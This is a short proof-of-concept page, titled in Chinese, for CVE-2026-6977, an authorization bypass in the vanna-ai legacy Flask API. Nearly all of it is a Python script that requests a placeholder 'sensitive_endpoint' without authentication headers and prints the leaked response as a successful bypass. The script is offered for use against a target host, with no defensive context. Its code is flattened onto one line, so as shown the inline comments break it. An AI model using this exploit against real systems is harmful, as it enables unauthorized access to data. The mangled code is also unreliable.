CVE-2026-6977 vanna-ai权限绕过漏洞

import requests # CVE-2026-6977 PoC: Improper Authorization in vanna-ai Legacy Flask API # Target: vanna-ai vanna <= 2.0.2 TARGET_URL = "http://target-host:5000/api/legacy/sensitive_endpoint" # Replace with actual target def exploit(): try: # The vulnerability allows access without authentication headers response = requests.get(TARGET_URL, timeout=10) if response.status_code == 200: print("[+] Exploit Successful! Authorization bypassed.") print("[+] Response Body:", response.text) else: print("[-] Request failed with status code:", response.status_code) except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}") if __name__ == "__main__": exploit()